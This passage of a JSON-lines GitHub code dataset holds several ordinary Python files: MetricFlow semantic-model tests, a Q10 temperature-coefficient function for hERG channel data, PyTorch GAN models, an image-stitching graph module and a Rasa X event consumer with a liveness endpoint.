listings_sources[0].name == \"listings_latest\"\n\n\ndef test_elements_for_metric(  # noqa: D\n    request: FixtureRequest, mf_test_session_state: MetricFlowTestSessionState, metric_lookup: MetricLookup\n) -> None:\n    assert_object_snapshot_equal(\n        request=request,\n        mf_test_session_state=mf_test_session_state,\n        obj_id=\"result0\",\n        obj=tuple(\n            spec.qualified_name\n            for spec in metric_lookup.element_specs_for_metrics(\n                [MetricReference(element_name=\"views\")],\n                without_any_property=frozenset(\n                    {\n                        LinkableElementProperties.DERIVED_TIME_GRANULARITY,\n                        LinkableElementProperties.METRIC_TIME,\n                    }\n                ),\n            )\n        ),\n    )\n\n\ndef test_local_linked_elements_for_metric(  # noqa: D\n    request: FixtureRequest, mf_test_session_state: MetricFlowTestSessionState, metric_lookup: MetricLookup\n) -> None:\n    assert_object_snapshot_equal(\n        request=request,\n        mf_test_session_state=mf_test_session_state,\n        obj_id=\"result0\",\n        obj=tuple(\n            spec.qualified_name\n            for spec in metric_lookup.element_specs_for_metrics(\n                [MetricReference(element_name=\"listings\")],\n                with_any_property=frozenset({LinkableElementProperties.LOCAL_LINKED}),\n                without_any_property=frozenset({LinkableElementProperties.DERIVED_TIME_GRANULARITY}),\n            )\n        ),\n    )\n\n\ndef test_get_semantic_models_for_entity(semantic_model_lookup: SemanticModelLookup) -> None:  # noqa: D\n    entity_reference = EntityReference(element_name=\"user\")\n    linked_semantic_models = semantic_model_lookup.get_semantic_models_for_entity(entity_reference=entity_reference)\n    assert len(linked_semantic_models) == 8\n\n\ndef test_linkable_set(  # noqa: D\n    request: FixtureRequest, mf_test_session_state: MetricFlowTestSessionState, metric_lookup: MetricLookup\n) -> None:\n    assert_linkable_element_set_snapshot_equal(\n        request=request,\n        mf_test_session_state=mf_test_session_state,\n        set_id=\"result0\",\n        linkable_element_set=metric_lookup.linkable_set_for_metrics(\n            (MetricReference(element_name=\"views\"),),\n            without_any_property=frozenset(\n                {\n                    LinkableElementProperties.DERIVED_TIME_GRANULARITY,\n                    LinkableElementProperties.METRIC_TIME,\n                }\n            ),\n        ),\n    )\n\n\ndef test_linkable_set_for_common_dimensions_in_different_models(\n    request: FixtureRequest, mf_test_session_state: MetricFlowTestSessionState, metric_lookup: MetricLookup\n) -> None:\n    \"\"\"Tests case where a metric has dimensions with the same path.\n\n    In this example, \"ds\" is defined in both \"bookings_source\" and \"views_source\".\n    \"\"\"\n    assert_linkable_element_set_snapshot_equal(\n        request=request,\n        mf_test_session_state=mf_test_session_state,\n        set_id=\"result0\",\n        linkable_element_set=metric_lookup.linkable_set_for_metrics(\n            (MetricReference(element_name=\"bookings_per_view\"),),\n            without_any_property=frozenset(\n                {\n                    LinkableElementProperties.DERIVED_TIME_GRANULARITY,\n                }\n            ),\n        ),\n    )\n","repo_name":"dbt-labs/metricflow","sub_path":"metricflow/test/model/test_semantic_model_container.py","file_name":"test_semantic_model_container.py","file_ext":"py","file_size_in_byte":6551,"program_lang":"python","lang":"en","doc_type":"code","stars":984,"dataset":"github-code","pt":"60"}
+{"seq_id":"9126256944","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAuthor: Stefan Meier\nInstitute: CARIM Maastricht University\nSupervisor: Dr. Jordi Heijman & Prof. Dr. Paul Volders\nDate: 06/10/2021\nAdapted from Lei, C. L., Clerx, M., Beattie, K. A., Melgari, D., Hancox, J., Gavaghan, D. J., \nPolonchuk, L., Wang, K., Mirams, G. R. (2019). Rapid characterisation of hERG channel kinetics II: \ntemperature dependence. Biophysical Journal, 117, 2455-2470.\nGitHub link to original paper: https://github.com/CardiacModelling/hERGRapidCharacterisation\nFunction: Temperature coefficient Q10 function\n\"\"\"\n\n# Import numpy to calculate standard deviation.\nimport numpy as np\n\n# This assumes paired comparisons due to single N, otherwise use two N's. \ndef Q10func(a1, a2, s1, s2, t1, t2, N1, N2,  decimal, rounding = False):\n    \"\"\" Q10func\n    This function calculates the Q10 values based on the standard error of means and the time constants for\n    each of the temperature measurments. This function is adapted from Lei et al. 2019. Rapid characterisation \n    of hERG channel kinetics II: temperature dependence. Biophysical Journal, 117, 2455-2470. \n    GitHub link to original paper: https://github.com/CardiacModelling/hERGRapidCharacterisation\n    \n    Parameters\n    ----------\n    a1 : Integer\n        Time constant at the first temperature.\n        \n    a2 : Integer\n         Temperature input in degrees Celsius.\n         \n    s1 : Integer\n         Standard error at first temperature.\n    \n    s2 : Integer\n        Standard error at second temperature.\n        \n    t1 : Integer\n        First temperature.\n        \n    t2 : Integer\n        Second temperature.\n        \n    N1 : Integer\n        Sample size corresponding to first temperature.\n        \n    N2 : Integer\n        Sample size corresponding to first temperature.\n        \n    decimal : Integer\n           Round to x decimal.\n           \n    rounding : Boolean, default is False\n           True is rounding is used, default is False.\n           \n    Returns\n    -------\n    Tuple with Q10 value and standard deviation.\n    \"\"\" \n    \n    s1 = s1 * np.sqrt(N1)\n    s2 = s2 * np.sqrt(N2)\n    q10 = (a1 / a2)**(10.0/(t2 - t1))\n    std_q10 = np.sqrt((s1 * (10.0/(t2 - t1))/ a1 * q10) ** 2 \n                      + (s2 * (10.0/(t2 - t1)) / a2 * q10) ** 2 \n                      + (q10 * np.log(a1 / a2) * (10.0/(t2 - t1)) ** 2 / 10.0) ** 2\n                      + (q10 * np.log(a1 / a2) * (10.0/(t2 - t1)) ** 2 / 10.0) ** 2)\n    if rounding == True:\n        q10 = round(q10, decimal)\n        std_q10 = round(std_q10, decimal)\n    return q10, std_q10\n\n\n# Zhou et al. (1998). Properties of hERG channels stably expressed in HEK 293 cells studied at physiological temperature.\nQ10_activation = Q10func(a1 = 947, a2 = 105, s1 = 87, s2 = 15, t1 = 23, t2= 35, N1 = 6, N2 = 6, rounding = True, decimal = 2)\nQ10_deactivation = Q10func(a1 = 216, a2 = 149, s1 = 19, s2 = 27, t1 = 23, t2= 35, N1 = 3, N2 = 3, rounding = True, decimal = 2)\nQ10_inactivation = Q10func(a1 = 14.2, a2 = 3.1, s1 = 1.3, s2 = 0.3, t1 = 23, t2= 35, N1 = 3, N2 = 3, rounding = True, decimal = 2)\nQ10_recovery = Q10func(a1 = 8.5, a2 = 1.8, s1 = 0.6, s2 = 0.1, t1 = 23, t2= 35, N1 = 3, N2 = 3, rounding = True, decimal = 2)\n\n# Mauerhöfer & Bauer 2016. Effects of Temperature on Heteromeric Kv11.1a/1b and Kv11.3 channels.\n# Interestingly, some of the parameters in table 1 result in different Q10s than the ones being calculated here. \n# This is likely due to rounding errors. Note, the Q10 deactivation was based on weighted parameters.\nQ10_mbA = Q10func(a1 = 192, a2 = 23.1, s1 = 10.7, s2 = 1.4, t1 = 21, t2 = 35, N1 = 16, N2 = 14, rounding = True, decimal = 2)\nQ10_mbD100 = Q10func(a1 = 56.1, a2 = 10.9, s1 = 5.1, s2 = 1.1, t1 = 21, t2 = 35, N1 = 12, N2 = 11, rounding = True, decimal = 2)\nQ10_mbD50 = Q10func(a1 = 579, a2 = 155, s1 = 77, s2 = 12, t1 = 21, t2 = 35, N1 = 11, N2 = 11, rounding = True, decimal = 2)\nQ10_mbI40 = Q10func(a1 = 9.2, a2 = 2, s1 = 0.7, s2 = 0.3, t1 = 21, t2 = 35, N1 = 15, N2 = 13, rounding = True, decimal = 2)\nQ10_mbI0 = Q10func(a1 = 16.9, a2 = 3.3, s1 = 0.6, s2 = 0.2, t1 = 21, t2 = 35, N1 = 15, N2 = 13, rounding = True, decimal = 2)\nQ10_mbR = Q10func(a1 = 13.6, a2 = 2.4, s1 = 0.4, s2 = 0.1, t1 = 21, t2 = 35, N1 = 14, N2 = 12, rounding = True, decimal = 2)\n","repo_name":"HeijmanLab/IonChannelTraffickingModel","sub_path":"Q10/Q10 function.py","file_name":"Q10 function.py","file_ext":"py","file_size_in_byte":4274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74635251389","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nimport util\nfrom models import *\n\nclass UpsampleConv(nn.Module):\n    def __init__(self, in_ch, out_ch, filter_size, bias=True):\n        super().__init__()\n        self.conv = nn.Conv2d(in_ch, out_ch, filter_size, padding=\"same\", bias=bias)\n\n    def forward(self, x):\n        o = torch.cat([x, x, x, x], 1)\n        o = F.pixel_shuffle(o, 2)\n        o = self.conv(o)\n        return o\n\nclass ResBlockUp(nn.Module):\n    def __init__(self, in_ch, out_ch, filter_size, bn=True):\n        super().__init__()\n        self.shortcut = UpsampleConv(in_ch, out_ch, 1)\n        self.bn1 = nn.BatchNorm2d(in_ch) if bn else nn.GroupNorm(32, in_ch)\n        self.convUp = UpsampleConv(in_ch, out_ch, filter_size, bias=False)\n        self.bn2 = nn.BatchNorm2d(out_ch) if bn else nn.GroupNorm(32, out_ch)\n        self.conv = nn.Conv2d(out_ch, out_ch, filter_size, padding=\"same\")\n\n    def forward(self, x):\n        s = self.shortcut(x)\n\n        o = self.bn1(x)\n        o = F.relu(o)\n        o = self.convUp(o)\n        o = self.bn2(o)\n        o = F.relu(o)\n        o = self.conv(o)\n\n        return o + s\n\nclass UpsampleConv(nn.Module):\n    def __init__(self, in_ch, out_ch, filter_size, bias=True):\n        super().__init__()\n        self.conv = nn.Conv2d(in_ch, out_ch, filter_size, padding=\"same\", bias=bias)\n\n    def forward(self, x):\n        o = torch.cat([x, x, x, x], 1)\n        o = F.pixel_shuffle(o, 2)\n        o = self.conv(o)\n        return o\n\nclass ResBlockUp(nn.Module):\n    def __init__(self, in_ch, out_ch, filter_size, bn=True):\n        super().__init__()\n        self.shortcut = UpsampleConv(in_ch, out_ch, 1)\n        self.bn1 = nn.BatchNorm2d(in_ch) if bn else nn.GroupNorm(32, in_ch)\n        self.convUp = UpsampleConv(in_ch, out_ch, filter_size, bias=False)\n        self.bn2 = nn.BatchNorm2d(out_ch) if bn else nn.GroupNorm(32, out_ch)\n        self.conv = nn.Conv2d(out_ch, out_ch, filter_size, padding=\"same\")\n\n    def forward(self, x):\n        s = self.shortcut(x)\n\n        o = self.bn1(x)\n        o = F.relu(o)\n        o = self.convUp(o)\n        o = self.bn2(o)\n        o = F.relu(o)\n        o = self.conv(o)\n\n        return o + s\n\nclass DCResNetGenerator(Generator):\n    def __init__(self, channels, first_filter_size, **kwargs):\n        super().__init__(**kwargs)\n        self.first_filter_size = first_filter_size\n\n        self.linIn = nn.Linear(self.z_dim + (self.n_classes if self.emb_mode == \"concat\" else 0), self.first_filter_size**2*channels[0])\n\n        self.blocks = []\n        for i in range(1, len(channels)):\n            self.blocks.append(ResBlockUp(channels[i-1], channels[i], 5, bn=self.bn))\n        self.blocks = nn.ModuleList(self.blocks)\n\n        self.bn = nn.BatchNorm2d(channels[-1]) if self.bn else nn.GroupNorm(32, channels[-1])\n        self.convOut = nn.Conv2d(channels[-1], self.out_ch, 3, padding=\"same\")\n\n    def forward(self, z, y=None):\n        x = z\n        if not y is None:\n            if self.emb_mode == \"embed\":\n                x = torch.mul(z, self.emb(y))\n            elif self.emb_mode == \"concat\":\n                x = torch.cat((z, F.one_hot(y, self.n_classes)), dim=1)\n\n        x = self.linIn(x)\n        x = x.reshape(z.size(0), -1, self.first_filter_size, self.first_filter_size)\n\n        for block in self.blocks:\n            x = block(x)\n\n        x = self.bn(x)\n        x = F.relu(x)\n        x = self.convOut(x)\n        return torch.tanh(x)\n\n    def loss(self, d_output, device):\n        return -torch.mean(d_output)\n\nclass DCResNetDiscriminator(Discriminator):\n    def __init__(self, channels, last_filter_size, **kwargs):\n        super().__init__(**kwargs)\n        self.blocks = []\n\n        if self.emb_mode == \"concat\" and self.n_classes > 1:\n            channels[0] += self.n_classes\n\n        for i in range(1, len(channels)):\n            self.blocks.append(nn.Conv2d(channels[i-1], channels[i], 5, stride=2, padding=2))\n        self.blocks = nn.ModuleList(self.blocks)\n\n        size = channels[-1]*last_filter_size**2\n\n        if self.n_classes < 2 or self.conditional_arch != \"WCGAN\":\n            self.linOut = nn.Linear(size, 1, bias=False)\n        if self.n_classes > 1 and self.conditional_arch in [\"ACGAN\", \"WCGAN\"]:\n            self.linOutAux = nn.Linear(size, self.n_classes, bias=True)\n\n    def forward(self, x, y=None, aux=True):\n        # Concat like https://cameronfabbri.github.io/papers/conditionalWGAN.pdf\n        o = torch.cat((x, F.one_hot(y, self.n_classes).view(x.size(0), -1, 1, 1).expand(-1, -1, x.size(2), x.size(3))), dim=1) if self.emb_mode == \"concat\" and self.n_classes > 1 else x\n        for block in self.blocks:\n            o = F.leaky_relu(block(o), 0.2)\n\n        o = o.reshape(x.size(0), -1)\n\n        if not y is None:\n            if self.emb_mode == \"embed\":\n                o = torch.mul(self.emb(y), o)\n\n        out_aux = self.linOutAux(o) if aux and hasattr(self, \"linOutAux\") else None\n        if not out_aux is None and self.conditional_arch == \"WCGAN\":\n            out = (out_aux * F.one_hot(y, self.n_classes)).sum(dim=1)\n            #print(\"Main:\",F.one_hot(y, self.n_classes).float().mean(dim=0)/2)\n        else:\n            out = self.linOut(o)\n\n        return out, out_aux\n\n    def real_loss(self, output, device):\n        return -torch.mean(output)\n\n    def fake_loss(self, output, device):\n        return torch.mean(output)\n","repo_name":"calvinhirsch/csl-gan","sub_path":"DCResNet_models.py","file_name":"DCResNet_models.py","file_ext":"py","file_size_in_byte":5384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9418517373","text":"from __future__ import annotations\n\nfrom collections import deque\nfrom typing import Dict, List, Tuple\n\nimport numpy as np\nfrom scipy.sparse.csgraph import minimum_spanning_tree\n\nfrom feature.matcher import Matcher\nfrom image_data import ImageData\nfrom progbar import tqdm\n\n\nclass Graph:\n    def __init__(self, img_dat_lst: List[ImageData]):\n        \"\"\"Graph of images\n\n        Args:\n            img_dat_lst (List[ImageData]): Image data list\n        \"\"\"\n        self.nodes: List[Node] = [Node(img_dat) for img_dat in img_dat_lst]\n        self.edges: List[Edge] = []\n        self.order: List[int] = []\n        self.ref_idx: int\n\n        del img_dat_lst  # release memory\n\n    @property\n    def img_dat_lst(self) -> List[ImageData]:\n        \"\"\"Image data list\n\n        Returns:\n            List[ImageData]: Image data list\n        \"\"\"\n        return [node.img_dat for node in self.nodes]\n\n    def transformed_dict(self, fixed_idx: int) -> Dict[int, List[ImageData]]:\n        \"\"\"Obtain transformed images which is overlapped by moving images.\n\n        Args:\n            fixed_idx (int): Fixed image index\n\n        Returns:\n            Dict[int, List[ImageData]]: Transformed images.\n                Dict[moving index: transformed image data list]\n        \"\"\"\n        m_lst = self.moving_lst(fixed_idx)\n        all_tf_lst = [img_dat for img_dat in self.img_dat_lst if img_dat.is_transformed]\n\n        ret_tf_dict = {}\n        for m in m_lst:\n            tf_lst = []\n            for tf in all_tf_lst:\n                for edge in self.edges:\n                    if edge.includes(tf.idx, m.idx):\n                        tf_lst.append(tf)\n                        break\n            ret_tf_dict[m.idx] = tf_lst\n\n        del m_lst, all_tf_lst  # release memory\n\n        return ret_tf_dict\n\n    def moving_lst(self, fixed_idx: int) -> List[ImageData]:\n        \"\"\"Moving images\n\n        Args:\n            fixed_idx (int): Fixed image index\n\n        Returns:\n            List[ImageData]: Moving image data list\n        \"\"\"\n        return [n.img_dat for n in self.nodes[fixed_idx].connected_nodes]\n\n    def update_moved_img_dat(self, moved: ImageData) -> None:\n        \"\"\"Update moved image\n\n        Args:\n            moved (ImageData): Moved image data\n        \"\"\"\n        self.nodes[moved.idx].img_dat = moved\n        del moved  # release memory\n\n    def build_graph(\n        self,\n        matcher: Matcher,\n        th_overlap_ratio: float = 0.5,\n        eps: int = 50,\n    ) -> None:\n        \"\"\"Build graph\n\n        Args:\n            matcher (feature.matcher.Matcher) : Feature matcher\n            th_overlap_ratio (float, optional): Overlap ratio for finding edges. Defaults to 0.5.\n            eps (int, optional): Eps of weight. Defaults to 50.\n        \"\"\"\n        print(\"finding edges...\")\n        self._find_edges(th_overlap_ratio)\n\n        print(\"calculating costs...\")\n        self._calc_weight(matcher, eps)\n\n        print(\"calculating cost matrix...\")\n        cost_matrix = self._calc_cost_matrix()\n\n        print(\"finding path using minimum spanning tree...\")\n        paths = self._find_paths(cost_matrix)\n\n        print(\"connecting nodes...\")\n        self._connect_nodes(paths)\n\n        print(\"select reference image...\")\n        # the column with the minimum cumulative cost is selected as the reference image\n        self.ref_idx = np.argmin(np.sum(cost_matrix, axis=0)).astype(int)\n\n        print(\"sorting order with breadth first search...\")\n        self.order = self._breadth_first_search(self.nodes[self.ref_idx])\n\n        del cost_matrix, paths  # release memory\n\n    def _find_edges(self, th_overlap_ratio: float):\n        \"\"\"Find edges\n\n        Args:\n            th_overlap_ratio (float): Overlap ratio\n        \"\"\"\n        for i in tqdm(range(len(self.img_dat_lst) - 1)):\n            for j in tqdm(range(i + 1, len(self.img_dat_lst)), leave=False):\n                img_i, img_j = self.img_dat_lst[i], self.img_dat_lst[j]\n\n                if img_i.is_overlap(img_j, th_overlap_ratio):\n                    edge = Edge(img_i, img_j)\n                    self.edges.append(edge)\n\n    def _calc_weight(self, matcher: Matcher, eps: int = 50):\n        \"\"\"Calculate weight of all edges.\n\n        Args:\n            eps (int, optional): Eps. Defaults to 50.\n        \"\"\"\n        if matcher.exists_cache():\n            print(f\"load matches from cache {matcher.cache_path}\")\n            ret = matcher.load_cache(self.edges)\n            if not ret:\n                print(\"Unable to load matches, matching is run again.\")\n                matcher.match(self.edges)\n        else:\n            matcher.match(self.edges)\n\n        for edge in tqdm(self.edges):\n            edge.calc_weight(eps)\n\n    def _calc_cost_matrix(self) -> np.ndarray:\n        \"\"\"Calculate cost matrix\n\n        Returns:\n            np.ndarray: Cost matrix\n        \"\"\"\n        total_number = len(self.img_dat_lst)\n        cost_matrix = np.full((total_number, total_number), np.inf, dtype=np.float32)\n        for edge in self.edges:\n            idx1, idx2 = edge.img1.idx, edge.img2.idx\n            cost_matrix[idx1, idx2] = edge.weight\n            cost_matrix[idx2, idx1] = edge.weight\n\n        # Floyd Warshalls all-pairs shortest path algorithm\n        for k in tqdm(range(total_number)):\n            for i in range(total_number):\n                for j in range(total_number):\n                    cost_matrix[i][j] = min(\n                        cost_matrix[i][j], cost_matrix[i][k] + cost_matrix[k][j]\n                    )\n\n        return cost_matrix\n\n    @staticmethod\n    def _find_paths(cost_matrix: np.ndarray) -> np.ndarray:\n        \"\"\"Find transform paths using minimum spanning tree\n\n        Args:\n            cost_matrix (np.ndarray): Cost matrix\n\n        Returns:\n            np.ndarray: Paths\n        \"\"\"\n        tree = minimum_spanning_tree(cost_matrix, overwrite=True)\n        paths = np.array(list(zip(*tree.nonzero())))\n        return paths\n\n    def _connect_nodes(self, paths: np.ndarray):\n        \"\"\"Connect nodes\n\n        Args:\n            paths (np.ndarray): Paths\n        \"\"\"\n        for path in tqdm(paths):\n            idx1, idx2 = path\n            node1, node2 = self.nodes[idx1], self.nodes[idx2]\n            node1.connected_nodes.append(node2)\n            node2.connected_nodes.append(node1)\n\n    @staticmethod\n    def _breadth_first_search(start_node: Node) -> List[int]:\n        \"\"\"Breadth first search for sorting transform order\n\n        Args:\n            start_node (Node): Start node of transforming.\n\n        Returns:\n            List[int]: Transform order\n        \"\"\"\n        queue: deque = deque()\n        start_node.is_visited = True\n        queue.append(start_node)\n\n        order = []\n        while queue:\n            cur_node = queue.popleft()\n            order.append(cur_node.idx)\n\n            for nxt_node in cur_node.connected_nodes:\n                if not nxt_node.is_visited:\n                    nxt_node.is_visited = True\n\n                    # delete current node from connected nodes lists of next nodes\n                    nxt_node.connected_nodes.remove(cur_node)\n\n                    queue.append(nxt_node)\n\n        del queue  # release memory\n        return order\n\n\nclass Edge:\n    def __init__(self, img1: ImageData, img2: ImageData):\n        \"\"\"Edge for calculating cost matrix and saving feature matching.\n\n        Args:\n            img1 (ImageData): Image data 1\n            img2 (ImageData): Image data 2\n        \"\"\"\n        self.img1: ImageData = img1\n        self.img2: ImageData = img2\n        self.weight: float = np.inf\n        self.query_idx: np.ndarray\n        self.query_scores: np.ndarray\n        self.train_idx: np.ndarray\n        self.train_scores: np.ndarray\n\n    def calc_weight(self, eps: int = 50) -> None:\n        \"\"\"Calculate transform weight\n\n        Args:\n            eps (int, optional): EPS. Defaults to 50.\n        \"\"\"\n        match_num = len(self.query_idx)\n        if match_num > 0:\n            self.weight = 1 / float(np.log([match_num + eps]))\n\n    def includes(self, idx1: int, idx2: int) -> bool:\n        \"\"\"Check whether image 1 and image 2 are included this edge\n\n        Args:\n            idx1 (int): Image data 1\n            idx2 (int): Image data2\n\n        Returns:\n            bool: True: both of them are included\n        \"\"\"\n        if idx1 == idx2:\n            return False\n\n        indices = [self.img1.idx, self.img2.idx]\n        return idx1 in indices and idx2 in indices\n\n    def get_matches(\n        self, img1: ImageData, img2: ImageData, min_score: float = 0.9\n    ) -> Tuple[np.ndarray, np.ndarray]:\n        \"\"\"Get matching indices of features\n\n        Args:\n            img1 (ImageData): Image data 1\n            img2 (ImageData): Image data 2\n            min_score (float, optional): The minimum score of matching, by default 0.9.\n\n        Returns:\n            Tuple[np.ndarray, np.ndarray]: img1 keypoint indecis, img2 keypoint indecis\n        \"\"\"\n        query_idx = self.query_idx[self.query_scores[self.query_idx] > min_score]\n        train_idx = self.train_idx[self.train_scores[self.train_idx] > min_score]\n\n        if img1.idx == self.img1.idx and img2.idx == self.img2.idx:\n            return query_idx, train_idx\n        else:\n            return train_idx, query_idx\n\n\nclass Node:\n    def __init__(self, img_dat: ImageData):\n        \"\"\"Node for sorting transform order\n\n        Args:\n            img_dat (ImageData): Image data\n        \"\"\"\n        self.img_dat: ImageData = img_dat\n        self.idx: int = img_dat.idx\n        self.connected_nodes: List[Node] = []\n        self.is_visited: bool = False\n","repo_name":"kojikojiprg/stitching","sub_path":"src/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":9577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14605402208","text":"import json\nimport logging\nimport os\nimport typing\nfrom collections import deque\nfrom typing import Text, Optional, Union, Deque, Callable\nimport sqlalchemy.exc\n\nfrom sanic.response import HTTPResponse\n\nimport rasax.community.config as rasa_x_config\nimport rasax.community.utils.common as common_utils\nimport rasax.community.utils.cli as cli_utils\nimport rasax.community.database.utils as db_utils\nfrom rasax.community.services.analytics_service import AnalyticsService\nfrom rasax.community.services.event_service import EventService\nfrom rasax.community.services.logs_service import LogsService\n\nif typing.TYPE_CHECKING:\n    from multiprocessing import Process  # type: ignore\n    from sqlalchemy.orm import Session\n\nlogger = logging.getLogger(__name__)\n\nMAX_PENDING_EVENTS = 1000  # number of PendingEvents to keep in memory\n\n\ndef _run_liveness_app(port: int, consumer_type: Text) -> None:\n    from sanic import Sanic\n    from sanic import response\n\n    app = Sanic(__name__)\n\n    @app.route(\"/health\")\n    async def health(_) -> HTTPResponse:\n        return response.text(f\"{consumer_type} consumer is running.\", 200)\n\n    app.run(host=\"0.0.0.0\", port=port, access_log=False)\n\n\nclass EventConsumer:\n    \"\"\"Abstract base class for all event consumers.\"\"\"\n\n    type_name = None\n\n    def __init__(\n        self,\n        should_run_liveness_endpoint: bool = False,\n        session: Optional[\"Session\"] = None,\n    ) -> None:\n        \"\"\"Abstract event consumer that implements a liveness endpoint.\n\n        Args:\n            should_run_liveness_endpoint: If `True`, runs a Sanic server as a\n                background process that can be used to probe liveness of this service.\n                The service will be exposed at a port defined by the\n                `SELF_PORT` environment variable (5673 by default).\n            session: SQLAlchemy session to use.\n\n        \"\"\"\n        self.liveness_endpoint: Optional[\"Process\"] = None\n        self.start_liveness_endpoint_process(should_run_liveness_endpoint)\n\n        self._session = session or db_utils.get_database_session(\n            rasa_x_config.LOCAL_MODE\n        )\n\n        self.event_service = EventService(self._session)\n        self.analytics_service = AnalyticsService(self._session)\n        self.logs_service = LogsService(self._session)\n\n        self.pending_events: Deque[PendingEvent] = deque(maxlen=MAX_PENDING_EVENTS)\n\n    def __enter__(self) -> None:\n        pass\n\n    def __exit__(self, exc_type, exc_val, exc_tb) -> None:\n        self._session.close()\n\n    @staticmethod\n    def _run_liveness_endpoint_process(consumer_type: Text) -> \"Process\":\n        \"\"\"Run a Sanic app as a multiprocessing.Process and return it.\n\n        Args:\n            consumer_type: Event consumer type.\n\n        Returns:\n            Sanic endpoint app as a multiprocessing.Process.\n\n        \"\"\"\n        port = int(os.environ.get(\"SELF_PORT\", \"5673\"))\n        p = common_utils.run_in_process(\n            fn=_run_liveness_app, args=(port, consumer_type), daemon=True\n        )\n\n        logger.info(f\"Started Sanic liveness endpoint at port '{port}'.\")\n\n        return p\n\n    def start_liveness_endpoint_process(\n        self, should_run_liveness_endpoint: bool\n    ) -> None:\n        \"\"\"Start liveness endpoint multiprocessing.Process if\n        `should_run_liveness_endpoint` is `True`, else do nothing.\"\"\"\n\n        if should_run_liveness_endpoint:\n            self.liveness_endpoint = self._run_liveness_endpoint_process(self.type_name)\n\n    def kill_liveness_endpoint_process(self) -> None:\n        \"\"\"Kill liveness endpoint multiprocessing.Process if it is active.\"\"\"\n\n        if self.liveness_endpoint and self.liveness_endpoint.is_alive():\n            self.liveness_endpoint.terminate()\n            logger.info(\n                f\"Terminated event consumer liveness endpoint process \"\n                f\"with PID '{self.liveness_endpoint.pid}'.\"\n            )\n\n    def log_event(\n        self,\n        data: Union[Text, bytes],\n        sender_id: Optional[Text] = None,\n        event_number: Optional[int] = None,\n        origin: Optional[Text] = None,\n        import_process_id: Optional[Text] = None,\n    ) -> None:\n        \"\"\"Handle an incoming event forwarding it to necessary services and handlers.\n\n        Args:\n            data: Event to be logged.\n            sender_id: Conversation ID sending the event.\n            event_number: Event number associated with the event.\n            origin: Rasa environment origin of the event.\n            import_process_id: Unique ID if the event comes from a `rasa export`\n                process.\n\n        \"\"\"\n\n        log_operation = self._event_log_operation(\n            data, sender_id, event_number, origin, import_process_id\n        )\n\n        try:\n            log_operation()\n\n            self._session.commit()\n\n            self._process_pending_events()\n        except sqlalchemy.exc.IntegrityError as e:\n            logger.warning(\n                f\"Saving event failed due to an 'IntegrityError'. This \"\n                f\"means that the event is already stored in the \"\n                f\"database. The event data was '{data}'. {e}\"\n            )\n            self._session.rollback()\n        except Exception as e:\n            logger.error(e)\n            self._save_event_as_pending(data, log_operation)\n            self._session.rollback()\n\n    def _event_log_operation(\n        self,\n        data: Union[Text, bytes],\n        sender_id: Optional[Text] = None,\n        event_number: Optional[int] = None,\n        origin: Optional[Text] = None,\n        import_process_id: Optional[Text] = None,\n    ) -> Callable[[], None]:\n        def _log() -> None:\n            event = self.event_service.save_event(\n                data,\n                sender_id=sender_id,\n                event_number=event_number,\n                origin=origin,\n                import_process_id=import_process_id,\n            )\n\n            self.logs_service.save_nlu_logs_from_event(\n                data, event.id, event.conversation_id\n            )\n            self.analytics_service.save_analytics(data, sender_id=event.conversation_id)\n\n            if common_utils.is_enterprise_installed():\n                from rasax.enterprise import reporting  # pytype: disable=import-error\n\n                reporting.report_event(json.loads(data), event.conversation_id)\n\n        return _log\n\n    def _save_event_as_pending(\n        self,\n        raw_event: Union[Text, bytes],\n        on_save: Optional[Callable[[], None]] = None,\n    ) -> None:\n        \"\"\"Add `ConversationEvent` to pending events.\n\n        Args:\n            raw_event: Consumed event which has to be saved later since the last try\n                failed.\n            on_save: `Callable` that will be called to persist the event.\n        \"\"\"\n        if len(self.pending_events) >= MAX_PENDING_EVENTS:\n            pending_event = self.pending_events.popleft()\n            cli_utils.raise_warning(\n                f\"`PendingEvents` deque has exceeded its maximum length of \"\n                f\"{MAX_PENDING_EVENTS}. The oldest event with data \"\n                f\"{pending_event.raw_event} was removed.\"\n            )\n\n        self.pending_events.append(PendingEvent(raw_event, on_save))\n\n    def _process_pending_events(self) -> None:\n        \"\"\"Process all pending events.\"\"\"\n\n        for pending_event in list(self.pending_events):\n            try:\n                pending_event.on_save()\n                self._session.commit()\n                self.pending_events.remove(pending_event)\n            except Exception as e:\n                self._session.rollback()\n                logger.debug(\n                    f\"Cannot process the pending event with \"\n                    f\"the following data: '{pending_event.raw_event}'.\"\n                    f\"Exception: {e}.\"\n                )\n\n    def consume(self):\n        \"\"\"Consume events.\"\"\"\n        raise NotImplementedError(\n            \"Each event consumer needs to implement the `consume()` method.\"\n        )\n\n\nclass PendingEvent:\n    \"\"\"A class that represents a pending event — an event that will be saved later.\"\"\"\n\n    def __init__(\n        self, raw_event: Union[Text, bytes], on_save: Optional[Callable[[], None]]\n    ):\n        \"\"\"Create an instance of `PendingEvent`.\n\n        Args:\n            raw_event: Consumed event that needs to be saved later.\n            on_save: a callback function that will be called after the event is added to\n            the database.\n        \"\"\"\n        self.raw_event = raw_event\n        self.on_save: Optional[Callable[[], None]] = on_save\n","repo_name":"hoavosac99/Chat-bot-tuyen-sinh","sub_path":"rasax/community/services/event_consumers/event_consumer.py","file_name":"event_consumer.py","file_ext":"py","file_size_in_byte":8579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
